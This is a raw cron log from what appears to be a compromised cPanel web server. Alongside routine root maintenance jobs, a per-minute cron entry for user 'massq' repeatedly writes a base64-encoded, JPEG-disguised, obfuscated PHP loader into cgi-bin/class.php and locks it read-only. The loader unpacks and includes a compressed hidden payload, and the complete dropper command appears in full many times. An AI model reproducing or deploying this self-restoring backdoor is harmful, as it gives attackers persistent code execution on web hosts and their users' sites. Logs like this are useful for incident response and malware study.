Sep 12 05:18:01 server CROND[27656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:18:01 server CROND[27657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:19:01 server CROND[28125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:19:01 server CROND[28124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:19:01 server CROND[28126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:20:01 server CROND[28553]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:20:01 server CROND[28556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:20:01 server CROND[28558]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 05:20:01 server CROND[28560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:20:01 server CROND[28559]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:20:01 server CROND[28564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:20:01 server CROND[28562]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:20:01 server CROND[28561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:20:01 server CROND[28565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:21:01 server CROND[29380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:21:01 server CROND[29381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:21:01 server CROND[29382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:22:01 server CROND[29779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:22:01 server CROND[29780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:22:01 server CROND[29781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:23:01 server CROND[30148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:23:01 server CROND[30149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:23:01 server CROND[30150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:24:01 server CROND[30630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:24:01 server CROND[30631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:24:01 server CROND[30632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:25:01 server CROND[31003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:25:01 server CROND[31006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:25:01 server CROND[31008]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:25:01 server CROND[31009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:25:01 server CROND[31011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:25:01 server CROND[31013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:25:01 server CROND[31015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:26:01 server CROND[31814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:26:01 server CROND[31815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:26:01 server CROND[31816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:27:01 server CROND[32207]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 05:27:01 server CROND[32209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:27:01 server CROND[32210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:27:01 server CROND[32211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:28:01 server CROND[32641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:28:01 server CROND[32642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:28:01 server CROND[32644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:29:01 server CROND[555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:29:01 server CROND[554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:29:01 server CROND[556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:30:02 server CROND[1117]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:30:02 server CROND[1120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:30:02 server CROND[1125]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep 12 05:30:02 server CROND[1124]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:30:02 server CROND[1119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
